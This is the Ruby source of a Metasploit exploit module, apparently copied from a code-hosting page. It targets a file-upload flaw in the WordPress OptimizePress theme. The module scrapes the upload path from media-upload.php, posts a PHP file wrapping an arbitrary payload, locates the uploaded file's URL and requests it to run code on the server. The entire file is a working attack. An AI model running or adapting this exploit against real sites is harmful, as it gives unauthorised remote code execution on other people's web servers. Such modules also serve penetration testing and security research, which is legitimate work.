145 lines
4.3 KiB
Ruby
145 lines
4.3 KiB
Ruby
require 'msf/core'
|
|
require 'nokogiri'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
include Msf::HTTP::Wordpress
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'WordPress OptimizePress Themes File Upload Vulnerability',
|
|
'Description' => %q{
|
|
This module exploits a PHP file upload vulnerability against the Wordpress theme
|
|
OptimizePress.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'United of Muslim Cyber Army', # Vulnerability discovery
|
|
'Mekanismen', # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'URL', "http://www.osirt.com/2013/11/wordpress-optimizepress-hack-file-upload-vulnerability/" ]
|
|
],
|
|
'Privileged' => false,
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
},
|
|
'Targets' => [ ['OptimizePress', {}] ],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Nov 29 2013'
|
|
))
|
|
end
|
|
|
|
def check
|
|
uri = target_uri.path
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, '/wp-content/themes/OptimizePress/lib/admin/media-upload.php')
|
|
})
|
|
|
|
if not res or res.code != 200
|
|
return Exploit::CheckCode::Safe
|
|
elsif res and res.code == 200
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
uri = normalize_uri(target_uri.path)
|
|
peer = "#{rhost}:#{rport}"
|
|
|
|
#get upload filepath
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, '/wp-content/themes/OptimizePress/lib/admin/media-upload.php')
|
|
})
|
|
|
|
if not res or res.code != 200
|
|
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
|
|
end
|
|
|
|
html = Nokogiri::HTML(res.body)
|
|
filepath = html.xpath("//*[@id='imgpath']").attr("value")
|
|
|
|
if filepath == "" or filepath == nil
|
|
fail_with(Failure::Unknown, "#{peer} - Unable to get upload filepath")
|
|
end
|
|
|
|
#set cookie
|
|
cookie = res.get_cookies
|
|
|
|
filename = rand_text_alphanumeric(8) + ".php"
|
|
|
|
#upload payload
|
|
post_data = Rex::MIME::Message.new
|
|
post_data.add_part("<?php #{payload.encoded} ?>", "application/octet-stream", nil, "form-data; name=\"newcsimg\"; filename=\"#{filename}\"")
|
|
post_data.add_part("Upload File", nil, nil, "form-data; name=\"button\"")
|
|
post_data.add_part("1", nil, nil, "form-data; name=\"newcsimg\"")
|
|
post_data.add_part("#{filepath}", nil, nil, "form-data; name=\"imgpath\"")
|
|
|
|
print_status("#{peer} - Sending PHP payload")
|
|
|
|
n_data = post_data.to_s
|
|
n_data = n_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(uri, '/wp-content/themes/OptimizePress/lib/admin/media-upload.php'),
|
|
'ctype' => 'multipart/form-data; boundary=' + post_data.bound,
|
|
'data' => n_data,
|
|
'headers' => {
|
|
'Referer' => "#{uri}/wp-content/themes/OptimizePress/lib/admin/media-upload.php"
|
|
},
|
|
'cookie' => cookie
|
|
})
|
|
|
|
if not res or res.code != 200
|
|
fail_with(Failure::Unknown, "#{peer} - Unable to upload payload")
|
|
else
|
|
print_good("#{peer} - Payload uploaded successfully")
|
|
end
|
|
|
|
#get path to payload
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, '/wp-content/themes/OptimizePress/lib/admin/media-upload.php')
|
|
})
|
|
|
|
if not res or res.code != 200
|
|
fail_with(Failure::Unknown, "#{peer} - Unable to access vulnerable URL")
|
|
end
|
|
|
|
payload_url = ""
|
|
|
|
html = Nokogiri::HTML(res.body)
|
|
elems = html.xpath("//*[@name='cs_img']")
|
|
for elem in elems
|
|
if elem.attr("value") =~ /#{filename}/
|
|
payload_url = elem.attr("value")
|
|
end
|
|
end
|
|
|
|
if payload_url == ""
|
|
fail_with(Failure::Unknown, "#{peer} - Unable to upload payload")
|
|
end
|
|
|
|
print_good("#{peer} - Our payload is at: #{payload_url}! Executing payload...")
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => payload_url
|
|
})
|
|
|
|
if res and res.code != 200
|
|
print_error("#{peer} - Server returned #{res.code.to_s}")
|
|
else
|
|
print_good("#{peer} - Payload executed successfully")
|
|
end
|
|
end
|
|
end
|